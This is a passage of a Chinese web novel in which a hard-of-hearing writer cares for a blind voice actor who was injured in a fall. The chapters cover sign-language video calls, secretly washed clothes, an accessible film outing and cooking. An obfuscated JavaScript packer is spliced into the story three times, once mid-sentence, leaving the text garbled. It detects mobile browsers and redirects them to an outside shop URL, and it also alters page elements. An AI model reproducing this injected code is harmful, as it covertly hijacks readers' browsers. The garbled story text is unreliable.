郭宝卓的脸一下子出现在屏幕上,这人笑得十分猥琐,简直是猥琐笑容里的王中王。 屏幕里的人抬手比画着:怎么回事,他怎么在你家,你俩和好了?你俩亲嘴了?你俩怎么了?好着急好着急好着急。 乔辽对着屏幕比画出“等一下”,接着走出卧室。 沙发上躺着的人听见声音立马望过来,开口说道:“你怎么去那么久。” 这句话一出来,屏幕那边的郭宝卓眼睛都瞪大了。 他比画着:是真的易秋光,会说话的易秋光啊! 乔辽抬手冲屏幕那边做出噤声手势,接着对沙发上的易秋光说道:“抱歉,找衣服花了点时间。” “你是不是平时都乱放呢,”易秋光伸出手勾了勾,“给我吧,让我摸摸看,这件衣服是什么样的。” “就是纯色的,有两套,”乔辽把衣服递过去,“一套是薄的,穿着睡觉,另一套是加绒的,你要是想坐在床上玩会儿手机,就把加绒的穿上。” “行,”易秋光接过衣服,用手捏了捏,又摸了好几下,“带我去浴室吧,麻烦你了,故听老师。” “没事,应该的。”乔辽先把手机揣进兜里,接着走到易秋光边上,扶着他站起来。 他们慢慢走到浴室门口,乔辽打开门,带着易秋光走进去,拉着他的手去碰花洒和那些沐浴用品,在确定这人记得位置后,乔辽从刚才买的那袋洗漱用品里找出毛巾和一次性内裤递过去,又拿来一双拖鞋。 易秋光伸手接过,在乔辽的帮忙下换了鞋,他说了声“谢谢”关上门,乔辽立马把手机从兜里拿出来,第一眼看见的就是郭宝卓依旧猥琐地笑。 乔辽把手机放在洗手池边,冲他比画:你别笑了,吓人。 屏幕那头的人都笑成翘嘴了,郭宝卓比画着:你俩到底怎么回事,他怎么突然来你家了? 乔辽叹出一口气,提起易秋光的鞋,往门口指了指,意思是:我先去放个鞋。 放完鞋回来后,他对着屏幕那头皱眉比画:我没注意,让易秋光摔了一跤,他腿疼得厉害,摔跤的地方离我家挺近的,我就把他背回来了。 郭宝卓抬手鼓掌,无声的那种,他问乔辽:这不是挺好的,有哪里不好吗? 浴室里的人已经开始洗澡了,水声不停地往乔辽耳朵里钻,他的视线也不受控制地往浴室那边看。 他也不是想看个什么,这种视线就像是刻在骨子里的,只要易秋光在浴室里,那乔辽就会在浴室门口。 视线在门上停留了一会儿,乔辽再次看向屏幕,郭宝卓正支着个脑袋猥琐地笑。 得了,这人已经是傻的了。 乔辽冲郭宝卓比画道:他对我的态度有点不对劲,好像是在和我搞暧昧,我是写小说的,你信我。 屏幕里面的人点点头,比画道:然后呢,那也挺好啊,说明他喜欢你。 乔辽连连摆手:不对,他不知道我是谁。 郭宝卓比画道:那更有趣了,二次爱上旧情人,你俩缘分不浅啊。 算了,不和这人瞎扯,乔辽盯着屏幕,用眼神表达出自己的沉默,接着果断挂了视频通话。 通话刚挂断,郭宝卓的消息又发来了:我最近认识一个人,有空带你认识一下,你要是有时间的话,可以带着他出去走一走。 乔辽答应下来,又问他:谁啊? 郭宝卓回复:过来找我学手语的人,是突发性耳聋,最近挺害怕出门的,我最近真的忙,但又不敢让他总一个人待着。 看见这段话,乔辽没忍住叹出一口气,他回了个“好”,浴室里的水声也停了下来。 他连忙收起手机,从袋子里拿出新买的牙膏和牙刷,浴室门被打开时,乔辽也正好把牙膏挤到牙刷上。 “故听老师,我洗好了——”易秋光扶着门框走出来,手里还拿着一条内裤。 也不知道易秋光后面是要说什么,反正乔辽没让他说完。 这人视线下移,伸手去拿那条内裤:“我去帮你晾着。” “还没洗,没洗!”易秋光拽得也紧,“你带我去洗一下,洗完我自己晾。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好。”易秋光撩开被子,伸出摔伤的那条腿,把裤子往上撩了撩。 乔辽的视线自动锁定,人也站在那里好一会儿没动,直到易秋光抬头问他:“怎么了吗?” 这人终于回过神了,乔辽快速挪开视线:“没事,我去拿药。” 药就放在客厅,找到药后,乔辽赶紧回了房间。 易秋光还是保持着刚才的动作,一条腿放在被子外,看着就冷,还好他刚才开了空调,现在房间里也已经暖和起来了。 乔辽坐在床边,打开药水,把棉签伸进药水瓶里,在准备擦药的时候,他还说了一句:“可能有点刺痛,你忍一下。” “我不怕疼,我能是那种怕疼的人吗,”下一秒,易秋光倒抽一口凉气,“疼啊——” “你看我就说吧……”擦完药后,乔辽又看了看易秋光的脚踝,看着似乎还好,没有红,也没有变肿,“扭伤的地方还疼吗?” 易秋光似乎愣了一下,接着连忙把腿放回被子里:“不疼,还好,你快去洗澡。” “好。”乔辽看了一眼床上的人,拿上药转身往房间外面走。 仔细想想……这人刚才一路走回卧室,也不是一瘸一拐的,那估计是真的不疼? 但刚才在外面的时候,易秋光都疼成那样了,坐车都没办法坐。 嗐,算了,乔辽懒得再想。 好得快也挺好的,这是好事啊,自愈能力超强。 不错,不愧是易秋光。 32. 心虚 乔辽走出房间,把药放回原位。 做完这件事,他也不急着去洗澡。 毕竟还有别的东西等着他洗。 帮易秋光洗内裤这件事,虽说他在两年前就干过,也是没想到,到了现在还能有干这事的机会,要是能再帮易秋光洗两件衣服就更好了,但这人也没什么衣服可以给他洗的。 不对啊,等等…… 乔辽突然想起,易秋光刚才洗完澡出来,手里就拿了一条内裤,换下来的衣服根本就没拿出来。 为了验证这个想法,乔辽去了趟浴室。 果然,被易秋光换下来的衣服还在浴室放着。 人在做坏事的时候,会心虚得不行,就像现在,乔辽抱着易秋光的衣服,往卧室看了眼。 对不起了秋光,这几件衣服,我非洗不可了。 这人表面说着,担心易秋光第二天去工作室会不方便,实际上,他一点都不想让易秋光去工作。 走路都不方便,还得坐在那里工作那么久,腿肯定会不好受。 再怎么说,也得休息一天。 请一天假而已,应该没事。 乔辽,不要害怕,大胆地洗衣服吧。 打开水龙头,往衣服上倒一大坨洗衣液,开搓! 是的,乔辽不用洗衣机,全靠手搓,但他平时不是这样,常见情况下,他还是用洗衣机的,今天这种情况,属于不常见。 他愣是全靠手搓洗完了易秋光的换洗衣服和内裤,这几件衣服被他挂在阳台上,拼命滴水…… 有心眼的男人就是如此,他就怕晚上风大,要是给这几件衣服吹干了该怎么办,只有不拧干衣服,才能完美地解决问题。 但他又怕地上水太多,易秋光走路会摔跤,为此,这人还拿来一个大盆,放在滴水的衣服下面。 现在好了,衣服也洗了,往下滴的水也接上了,阳台上啪嗒啪嗒地响,还挺吵。 乔辽站在窗边,一阵风吹进来,吹得他冷得一抖,但这人笑得倒是挺开心。 好爽,易秋光明天没办法走了。 哈哈哈哈哈哈哈。 做完坏事的乔辽美滋滋地去洗了个澡,拿上手机回到房间的时候,一看见易秋光就又开始心虚了。 他先是“哈哈”两声,别提笑得有多尴尬,易秋光坐在床上扒拉手机,听见他这么笑,也跟着笑了笑,问道:“怎么了?这么开心呢。” “突然想到一些事情,”乔辽站在床边,琢磨着应该怎么躺到床上,“挺高兴的,就笑起来了。” “能说给我听听吗?”易秋光一脸期待的表情,“最近工作压力有点大,我也想放松一下。” 这怎么能说啊。 这要是真说了,易秋光只会压力更大吧。 乔辽清了清嗓子,直接跳过这个话题:“被窝里冷不冷,你会觉得冷吗?” 易秋光挑了挑眉,摇摇头说:“不冷啊,你不是开空调了吗?” “嗯,”乔辽不知道该说什么了,他也不笑了,一双眼盯着易秋光身边的位置,心一横,直接躺上床,“你困了吗,是想睡觉还是再等会儿?” 被窝里好暖和,乔辽的嘴角根本压不住,他慢慢挪着身子,往易秋光那边靠,再有一点点就能和身边人挨在一起了。 “故听老师。”易秋光突然喊了他一声。 “啊?”乔辽话音刚落,身边人一巴掌呼到他脸上。 哦不是,是用手机呼到他脸上。 “啪”的一声,一听就很打脸。 “不好意思,”易秋光明显慌了一下,他放下手机,立马去摸乔辽的脸,“我是想给你看个东西的,不知道你挨我这么近,没打到你眼睛吧,疼不疼?” 乔辽说:“不疼,没事。” 我的老天爷,好疼! 但易秋光在摸他的脸诶。 好值! 易秋光的指尖从他侧脸一直向上,到了眉头又缓慢向下,接着停留在鼻子上,然后是下巴。 这人确定没什么事后,又把手机拿了起来,易秋光说:“我刚才刷到一家新开的店,等下次我们一起去吃,评价挺好的,虽然我看不见图片,但好评都说,那些菜又好看又好吃。” “行啊,”乔辽问他,“下次是什么时候?” 易秋光想了想,说道:“等广播剧上线后,会有录制FT的环节,到时候得麻烦你来工作室一趟。” “上线时间确定了吗,上次预告微博里没提。”说到这里,乔辽立马拿出手机准备看一眼,说不定其实提了,只是他看漏了。 微博被点开,广告跳了出来,乔辽都还没来得及点进自己的主页,易秋光就开口说:“上线时间在十二月,就是下个月,跨年那天,FT录制在正剧完结后,明年二月。” “哦哦哦这样啊,”乔辽说,“行,我知道了。” 呜呜呜这样啊,怎么这么久! “你都不问问我是要去吃什么吗,”易秋光晃了晃手机,“你看了没?” “还没。”吃什么都行,反正只要是易秋光想吃的,那他肯定不挑。 乔辽拿过手机看了眼,屏幕上显示的是一家自助烤肉,这家店开在靠近江边的商场里,这地方有点远,离易秋光的家也远。 来江城两年,乔辽只去过这个地方一次,那天是郭宝卓带着他去那个商场吃饭,正巧遇上商场做活动,全都是人,一大半都是情侣。 吃完一顿饭,乔辽也算是半废了。 郭宝卓又带着他去江边散步,本来就是大冷天,那风吹得乔辽根本睁不开眼,他眯着眼往前走,牵着手的情侣也从他边上走过。 那一瞬间,乔辽只想一下子冲进江里。 去你的吧! 从那之后,郭宝卓也不带他去那个商场吃饭了。 乔辽还以为自己不会再去那个商场了,其实,那个商场还是挺有意思的,吃的喝的也多,现在正是变天换季的时候,还能给易秋光买两套衣服。 最重要的是,他能和易秋光一起去。 乔辽扒拉一下屏幕,电子音响起,但屏幕没反应,他又连着扒拉好几下,每次都是没有反应,易秋光都在边上笑起来了。 “不会用是不是,我刚开始也用不明白,后来慢慢就习惯了,”易秋光摸索着碰上乔辽的手,带着他的手慢慢移动,“你想看什么,我帮你点。” “我想看看店内环境怎么样。”乔辽嘴上这么说,视线却没停留在屏幕上,而是一直看着易秋光牵着他的那只手。 “怎么样,看见了吧,”易秋光问他,“环境怎么样,你给我形容形容。” 乔辽根本就没看:“挺好。” “还有呢?”易秋光又问。 “亮堂。”乔辽说。 易秋光沉默一会儿,突然把手机往乔辽眼前怼:“重新说。” 乔辽现在不得不看了,他对着图片把店里环境说了一遍,准备要易秋光再帮忙点出菜品的照片,他正好一起说一说的时候,手机突然响了声。 易秋光也放开他的手,把手机拿开:“有人找你吗?” “嗯,”乔辽拿出手机看了眼,是郭宝卓发来的消息,“我朋友。” 易秋光“哦”了声,往后靠了靠,开始扒拉手机。 乔辽看了他一眼,接着又看向手机屏幕,点开郭宝卓发来的消息。 是一家电影院的地址。 乔辽问他发个地址过来是要干什么,郭宝卓立马秒回两条消息。 第一条:明天有个无障碍观影活动,你要不要带着易秋光一起来?我正好也要去电影院帮忙。 第二条:我也这么久没见到易秋光了,怎么说我也是他朋友吧,咱们正好聚一聚呗。 乔辽还没和易秋光一起看过电影。 一个看不见只能听。 一个听不见,只能看,要是碰上没字幕的,那就更完蛋了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140566|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次也算是个机会。 但乔辽还是问了一句:活动肯定不是说开就开的,你要是早就想让我去,也不会到现在才说吧……你是不是还有什么别的事? 郭宝卓发来一个省略号,后面还跟着一句:还有件事,那个找我学手语的人明天也在,你们正好认识一下,顺带着帮我照顾一下他,我明天估计挺忙的,他一个人待着……我不太放心。 乔辽沉默回复:我前脚刚答应你,有空就带着那个人出去走一走,你后脚就憋不住屁了,想着让我帮忙照顾一下。 郭宝卓回复:好兄弟,谢谢,话不多说,感谢的话说太多就显得假了。 这件事倒没什么好拒绝的,再说了,这也确实是他答应过郭宝卓的事。 乔辽打字回复:明天几点,我带着易秋光过去,但你俩别说话,你也别和我说话。 郭宝卓估计是盯着屏幕等着他回复,这人秒回:几个意思啊,你俩还没相认啊,别搞啊兄弟,我这性感大嗓门一开腔,他立马就能认出我。 那就别开腔。 乔辽也确实这么回了。 郭宝卓回了个“OK”,乔辽没再回复。 他收起手机,看向身边的易秋光。 “三季老师,”乔辽犹豫一下,又想到阳台上还在不停滴水的衣服,“你明天……要不还是请假休息一天。” “没必要吧,”易秋光停下扒拉手机的动作,偏头看向乔辽的方向,“现在确实没以前那么忙,但我的伤也不严重,请假是不是有点耽误工作了。” 乔辽现在心虚得更厉害了,那种做错事的感觉也变得更加强烈。 他恨不得立马站起来,一个滑跪让易秋光别生气。 衣服一直在滴水,乔辽着急地一直在冒汗。 “只休息一天,”乔辽顿了顿,又说,“明天……我带你去看电影。” “看电影?”易秋光问他,“我可能看不明白,还是别浪费这个钱了。” “肯定能看明白,是无障碍观影。”乔辽说完这句,立马又拿出手机给郭宝卓发消息,问这人明天要看的电影是什么类型。 他盯着屏幕等消息,易秋光这边还是在犹豫。 几秒后,乔辽手机响了声,郭宝卓回复:喜剧,对了,我提醒你一句,明天人很多,你记得把易秋光牵好。 大废话,那必须的啊。 “三季老师,”乔辽也不管那么多了,心一横干脆开口,“我刚才把你衣服洗了,全洗了,你明天去不了工作室,因为你没衣服穿。” 谁知道易秋光根本没当回事:“没事,明天早上肯定也晾干了。” “纯手搓,没拧干,”乔辽再次心虚,“洗衣机坏了,我拧衣服没劲。” “真的假的……”易秋光现在有点反应了。 乔辽都快要不敢看易秋光了:“真真假假的吧。” “你就这么不想让我去上班?”易秋光有些无奈地说,“可我现在每天都在忙着你的广播剧啊,你真不让我去上班吗?” “衣服没干,”乔辽嘴还是硬,“不是我不想让你去。” 易秋光提议:“那就用洗衣机甩干,然后再烘干。” “全坏了,”乔辽已经不敢看易秋光了,“不然我就用洗衣机给你洗了,干嘛还要手搓。” 易秋光拉长音调“哦”了声:“我再问你一遍,真的还是假的?” 听这语气,易秋光好像要生气了。 乔辽都快要不敢开腔了,他偏头看了这人一眼,小声说:“我想让你好好休息,明天别去上班了。” “行啊,我答应你。”易秋光答应得很爽快。 但下一秒,这人又说:“你是以什么身份和我说这句话的?” “……朋友,”乔辽说,“我们也算是朋友了吧,你觉得呢?” 易秋光沉默了好一会儿,最后深吸口气,笑着说:“行吧,那我明天就不去工作室了,我们去看电影。” 33. 静电 这一夜,乔辽睡得不错,可能是因为今天睡在自己家里,易秋光还在边上,最重要的是,这人还答应自己,明天不去上班,要和他一起去看电影。 人生新体验加一,真好。 唯一不好的是,易秋光没关闹钟,大早上的,这人的闹钟就开始不停地响,易秋光直接赖床,选择无视闹铃声。 乔辽干脆把他手机扒拉过来,关掉闹钟。 也多亏易秋光带着他用过一次无障碍操作,要不然……关不关得掉就是另一回事了。 闹钟终于不响了,乔辽也再一次进入睡眠,但这次,他做梦了。 梦里的主角是易秋光,这人依旧是用那双好看的眼睛望着自己,突然,易秋光对着他笑了。 紧接着,乔辽听见这人说:“故听老师。” 乔辽“嗯”了声。 易秋光还是在笑着:“你还真敢答应啊?” “什么意思?”乔辽问他。 “我是什么意思,你应该知道吧,”易秋光语速放慢,说道,“乔辽。” 乔辽猛地惊醒,身边人还在睡着。 但下一秒,易秋光的手机响了起来,电子男声朗读着:来电人,山月。 这动静把乔辽吓得一激灵。 易秋光还是没起床,他把手机拿了起来,按下通话键。 乔辽就在边上躺着,房间里又安静,但他还是听不清电话那头的人在说些什么。 不争气啊,这听力真是太不争气了。 努力听了半天,乔辽一个字都没听明白,最后,他听见易秋光说了句:“我明天去工作室。” 又过了几秒,易秋光“嗯”了声,通话结束。 “谁啊,”乔辽扯了扯身上的被子,“这大早上的打电话来。” “捕山月啊,”易秋光也扯了一下被子,“刚才手机叫那么大声音,你肯定听见了,干嘛明知故问。” 好大的敌意,一觉睡醒的易秋光怎么还有起床气啊。 “我没听见,”乔辽顿了顿又说,“他给你打电话干什么?” “他去我家接我,已经到小区门口了,打电话问我早上想吃什么,”易秋光“啧”了声,“捕山月不是说了今天早上要去接我吗,你应该也听见了啊,故听老师,你是不是记性不太好啊。” ……好猛的起床气。 第一次见识,有点意思。 “应该是吧,我总忘事,但记仇还行,”乔辽拿起手机看了眼时间,“你早上想吃什么,点外卖还是出去吃?” “点外卖吧,我吃什么都行,”易秋光打了个呵欠,“我们几点去看电影?” 忘了问这茬。 乔辽正准备发个消息问问郭宝卓,刚打开聊天软件,就看见郭宝卓发来的消息,这人又把电影院的地址发了一遍,底下还有一条文字信息:下午两点。 这个时间挺好的,他能和易秋光一起在家里待着,吃完早饭再吃午饭,还能睡个午觉。 “下午两点,”乔辽看了易秋光一眼,接着就看向手机屏幕,打开外卖APP下单早饭,“你要不要再睡会儿?等外卖到了我再来叫你。” “行。”易秋光说睡就睡,扯着被子把自己裹得严严实实。 乔辽盯着他看了会儿,看到嘴角都扬起了笑,他放轻动作起了床,先是给耳蜗和助听器换上备用电池,然后走到阳台去看那几件衣服。 挺好,一件都没干。 这几件衣服已经没有滴水了,底下放着的盆里倒是接了小半盆,乔辽端起水盆倒掉水,接着就在客厅不停忙活。 他们昨天回来得晚,易秋光洗完澡就去了床上。 但易秋光等会儿就要起床了,这里毕竟是新环境,对易秋光而言,会有很多不方便的地方。 乔辽能做的,就是把那些可能成为障碍物的家具挪一挪,再把那些带着尖角的家具用防撞条包裹住。 防撞条是乔辽很久之前买的,他那个时候就想着,这东西总有一天能用上,就算用不上,那也不算白买。 乔辽从不怕白买什么,他只担心,易秋光需要什么的时候,他会拿不出来。 这一通忙活完,点的外卖也正好送到。 乔辽拿上一双棉拖鞋,又走到洗手池边,提前打开水龙头,调成热水,接着挤好牙膏。 做好这些事后,他回了房间,走到床边,慢慢蹲下去。 “三季老师,”乔辽小声喊着,“早饭到了,起床吃饭吧。” “嗯……”易秋光深呼吸一口气,扯着被子捂上脸,说话声音听着闷闷的,还带着一股子不情愿,“我知道了,再睡十分钟。” 乔辽看见易秋光这副样子,心里软得一塌糊涂,他笑着说:“好吧,那你再睡会儿。” 易秋光没再说话,盖在他身上的被子随着呼吸轻微起伏,乔辽感叹着,这人睡眠质量真好啊,羡慕。 但没过一会儿,易秋光突然掀开被子,半个身子都露在外面。 他眨了眨眼,接着伸手指向门外:“外面什么声音?你家漏水了?” “没,”乔辽说,“我把水龙头打开了。” 易秋光问他:“打开干什么?” “免得你等,一起床就能直接用热水洗脸,”乔辽说完又问,“是太吵吗,那我去关一下。” “不用,我不睡了,”易秋光伸了个懒腰,身上的衣服跟着他的动作一起上移,露出一小截腰,“睡饱了,我起床用热水洗脸去了,然后再吃故听老师买的早饭。” “好。”乔辽视线下移,落在易秋光腰上。 这人皮肤白,腰身线条也好看,只可惜,易秋光坐了起来,衣服也被他往下扯了扯。 在易秋光正准备下床的时候,乔辽说了句:“你把脚伸出来。” 易秋光愣了愣,但还是照做。 乔辽给他穿上棉拖鞋,接着说道:“好了,去洗脸刷牙吧。” 易秋光“嗯”了声,却站在那里没动。 下一秒,这人伸出手,摆出一副生气的模样:“牵着啊,你干嘛站在那儿不动。” 乔辽连着“哦”了好几下,他牵着易秋光的手,走到洗手池边。 他看着易秋光洗脸刷牙,弄完后,又带着这人走到餐桌边坐下。 乔辽把早饭递到他手边,看着易秋光吃了几口。 现在天气冷,易秋光身上只穿了一套家居服,另外一套厚一点的还在卧室放着,乔辽没问易秋光冷不冷,他选择回卧室一趟,把那套厚些的衣服拿了出来。 抱着衣服回到客厅时,易秋光正一勺勺喝着海带汤,手边还放着一碗面,乔辽走到他边上,喊了声“三季老师”。 “嗯?”易秋光没有抬头,又往嘴里喂了一勺海带汤,“这碗面快噎死我了。” “……那我下次不点这家了,”乔辽看着他又喝上一口,才慢慢开口,“等会儿再喝,我给你把另外一套家居服拿来了,你先穿上。” “我不冷。”易秋光没动。 “你冷,”这句话听着没什么情绪,乔辽放软语气又说,“今天温度比昨天低,穿上吧。” 易秋光放下勺子,伸出胳膊:“穿吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140567|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔辽还以为,这人得再拒绝一次,没想到还是挺好说话的。 很乖啊,很听话。 乔辽慢慢帮他穿好外套,扣上扣子,接着穿裤子,这件事比穿外套麻烦点,易秋光把两条腿伸进裤腿后,还得站起来提一下裤子。 这人站起来也是一副懒洋洋的样子,嘴角还带着笑。 乔辽总觉得,他和易秋光之间的距离好像近了一点。 又觉得,他好像……重新认识了易秋光。 一个从未了解过的易秋光。 这顿早饭吃完,易秋光就坐在沙发上懒着,一会儿拿出手机扒拉两下,一会儿靠在沙发上听听歌,哼唱两句。 坐得久了,偶尔站起来走一走,乔辽就会跟在边上一起走,生怕他会磕到碰到。 易秋光也懒得理他,时不时伸手碰碰两边有些什么,刚开始还好,碰到的大多是墙壁或是桌子,走到阳台后,他一伸手碰到了窗户,突然被吓得收回了手。 “怎么了?”乔辽也被吓了一跳,握着他的手来回地看。 “被电了一下,”易秋光笑着说,“没事,这个季节碰到静电挺正常的。” 这人说是这么说,在下一次碰到静电后,明显变得不敢再伸手,他抬起手又放下,抿了抿唇,就连眉头都皱了起来。 “在你右手边,放着一个花瓶,”乔辽说,“空着的,我很久没买花了,以前买花是为了让心情变好点,写作灵感也能多些,最后发现没什么用,干脆就一直空着。” 易秋光笑了笑,问他:“花瓶好看吗?” “还好吧,就是很普通的款式,透明的玻璃花瓶,”乔辽拿起花瓶,又用另一只手握住易秋光的手,“摸摸看。” “不了吧……”易秋光果然还是害怕,他晃了晃被握住的手,乔辽也明白他的意思,干脆松了手。 “那就不摸了,”乔辽说,“你想要什么就给我说,我去帮你拿就行。” “没什么想要的,我就是随便走走,”易秋光说着说着,转身往卧室方向去,“房间空调关了吗?” “没关,”乔辽跟在旁边问他,“想再睡一觉?” “想去被窝里躺着……”易秋光缩了缩脖子,“冷。” 也不知道刚才吃早饭的时候,是谁说得不冷,说得还理直气壮的。 易秋光就这么缩着脖子回到床上,盖上被子后,这人一脸满足地靠在床头,拿出手机开始扒拉。 “还是房间里暖和,”易秋光笑着说,“我在这里正好还能盯着你赶稿,我玩我的,你写你的。” “你要怎么盯着我……”乔辽明显不想写,“我也想玩。” “你别管我怎么盯着你,”易秋光说,“我还等着你这本小说完结呢,赶紧写,你不准玩。” “行,”乔辽老实坐到桌前,打开电脑开始盯屏幕,“我开始写了。” 易秋光“嗯”了声,继续扒拉手机。 根本写不出来,乔辽盯着屏幕一直发呆,他支着脑袋回了个头,想看看易秋光在干什么。 但他回头的第一眼,看见的就是拿着手机,对着自己的易秋光。 同时,手机里发出电子男声:背景白色,长方形书桌上放着电脑,屏幕内无信息,空白页面,桌前坐着一个男人,用手支着脑袋,手边放着鼠标。 电子男声突然顿了一下,紧接着又出现一句:男人看了过来,脸上带着微笑。 乔辽的脑子都快成糨糊了。 易秋光也明显愣了一下,几秒后,他放下手机,说道:“你偷懒,被我抓住了。” 34. 炒菜 乔辽赶紧回头,先让键盘发出动静再说,也不管自己究竟是在胡说八道些什么。 一顿操作之后,电脑屏幕显示的终于不是空白页了。 床上躺着的人还在扒拉手机,乔辽有好几次偷偷回头去看,这人也没再拿起手机对着他。 “三季老师。”乔辽喊了他一声。 易秋光“嗯”了声,问他:“怎么了?” “你刚才那个……”乔辽问,“那是什么,能帮你看见周围的环境吗?” “那个啊,”易秋光笑起来,“是啊,你怕不怕?” 怕死了。 怕得一直在心虚。 “不怕,”乔辽说,“就是以前没看见你用过。” “我平时不怎么用,有时候去餐厅吃饭会用,拿着看一下菜单,”易秋光又开始扒拉手机,“你看啊,其实这个软件不是很好用,有时候是乱说的。” 易秋光拿着手机对上被子,手机里朗读着:正在识别,窗帘。 手机又被拿高了些,电子男声再次出现:床单,灰色。 “你看吧,一会儿窗帘一会儿床单,我拍的不是被子吗,”易秋光问乔辽,“是灰色?” 乔辽说:“差不多吧,深灰色。” 易秋光听完后点了点头,把手机转了个方向,对着桌子。 这一下子,乔辽的心都跟着提起来了。 那个方向,正好放着助听器充电盒,还有一个电子干燥盒。 电子男声朗读出:正在识别。 乔辽的心提到了嗓子眼。 下一秒,电子男声继续着:这是桌面一角,上面放着一个黑色的杯子,杯子前面有一个耳机盒,旁边还有一个盒子。 易秋光点了点屏幕,问道:“盒子上有字吗?” 乔辽愣了一下,连忙看向电子干燥盒,还好,有字的那一面正对着墙壁,不会被易秋光的手机拍进去。 果然,电子男声说:上面没有字。 “这次准吗?”易秋光望向乔辽的方向问道。 “准的。”乔辽说。 我的祖宗诶,你快别玩这个了,玩得这么刺激,心脏真的受不了。 “你中午想吃什么,点外卖还是出去吃,”乔辽只想赶紧换个话题,好让易秋光去琢磨点别的,“吃完要不要睡个午觉?” “睡饱了,不想睡,”易秋光叹出一口气,问道,“你每天都是吃外卖吗,家里厨房没开过火?” 乔辽愣了愣,说道:“开过,你想吃我做的饭?” “我做给你吃,”易秋光突然得意起来,“说吧,你想吃什么。” “嗯……我想想啊,”乔辽说,“冰箱里有排骨,还有西红柿和鸡蛋,应该就剩这些了,我一个人吃,每次都是吃多少买多少,家里没什么菜,要不,你看着做?” 乔辽怎么可能让易秋光来做,这人往厨房一站,乔辽就会开始胡思乱想,担心易秋光要是被油溅到该怎么办,又害怕易秋光会一不小心被刀割伤。 易秋光傻吗? 当然不是。 只是乔辽太过于紧张,他以前也没让易秋光做过饭,他不希望,易秋光会在他的视线范围内出任何事。 乔辽想得倒是挺好,可是,易秋光在他视线范围内出事的次数还少吗? 他看着床上那个人,心里不停泛起愧疚。 易秋光又冲着他笑起来,乔辽一看见这个笑容,情绪更是瞬间变得乱七八糟。 “那我就给你做番茄炒蛋吧,”易秋光还是说干就干的那种,看这架势是想立马起床,“我要去厨房做准备了。” 这人还挺有干劲,乔辽只好想个办法,先把这人劝住,要是不行,那就再换其他的办法。 “你等一下,”乔辽站起身走到床边,按着易秋光的胳膊,让他又躺了回去,“我们还是点个外卖吧,肯德基吃不吃,麦当劳吃不吃,炒菜?麻辣烫?火锅?有没有你想吃的。” 易秋光又要起床:“我想吃番茄炒蛋。” “但是……你不怕静电吗?”乔辽在心底骂了自己一句,想什么办法不好,偏偏要去吓易秋光。 但这句话的效果还是挺明显的。 易秋光明显变得犹豫,最后干脆选择继续躺着。 “那我不去了,但我就想吃番茄炒蛋,”易秋光做出炒菜的动作,“要吃你做的,不吃外卖。” “好,”乔辽问他,“你饿不饿,我是现在去做,还是等会儿再去?” “现在吧,”易秋光问他,“你写完了吗?” 乔辽瞥了眼电脑屏幕:“大概写完了吧。” “那是写完了还是没有?”易秋光拿起手机点了一下屏幕,电子男声播报出现在的时间,“还没到午饭时间,你要是还没写完,我可以等会儿再吃。” “没事,灵感在脑子里不会跑,”乔辽笑着,“但你要是肚子饿了,胃会不舒服的,你就在床上玩,我去做饭。” 易秋光说了声“好”,乔辽也转身走出房间。 他从冰箱里拿出西红柿和鸡蛋,走到厨房后,把这两样东西放到一边,准备先煮个米饭。 说实话,乔辽有段日子没做饭了。 他属于能对付一顿就对付一顿,饿不死就等会儿再吃,但他不想饿着易秋光。 中午这顿,肯定饿不着易秋光,因为乔辽煮的米饭够多,他能吃一碗,易秋光可以吃三碗。 但他们两个人就吃一个菜……是不是不太好。 现在这个时间,解冻排骨来不及,用水煮一下又怕煮得太久,肉会变得很柴,那就不好吃了。 乔辽走出厨房看向卧室方向,决定心虚地点个外卖。 当然了,番茄炒蛋还是要做的,他只是想要多加几个菜,担心易秋光吃不饱,总不能光吃白米饭吧。 其实除了点外卖,他现在还有别的选择。 比如,出个门,去最近的那家超市买个菜,或者直接下单食材。 但乔辽不想出门,他担心易秋光一个人在家里会不方便。 要是下单食材,那也有等待的时间,等买的食材到了,还要处理好一会儿,等他做完菜,易秋光肯定也饿得不行了。 点外卖这件事,乔辽没给易秋光说。 他想着,反正番茄炒蛋是自己做的,其他菜点个外卖也没事。 可易秋光在听见门铃声的时候,立马就从房间里走了出来,半路上还撞到了桌角,乔辽在门口拿外卖,听见磕碰声吓了一跳,立马关门往客厅走。 他庆幸自己给桌子贴了防撞条,易秋光没有受伤,就是被吓了一跳。 这人摸了摸被撞到的地方,抬头往乔辽的方向望:“你点的外卖?” “不是,”乔辽顿了顿,“我点的其他外卖,没点番茄炒蛋,我现在就去炒,很快的。” “哦……”易秋光刚才那副样子,似乎是有点生气,但现在,这人又平复了心情,“那你去吧,我在沙发上坐会儿。” “你刚才撞到哪儿了?”乔辽吞咽一口,实在是紧张得很,“是不是很疼?” “不疼,”易秋光笑着摸上桌角,“上面贴了防撞条吧,就是给我撞了一下,别的什么事都没有。” “没事就好,我带你回房间,外面冷,”乔辽往他边上走,“等我把菜做好了就去叫你。” 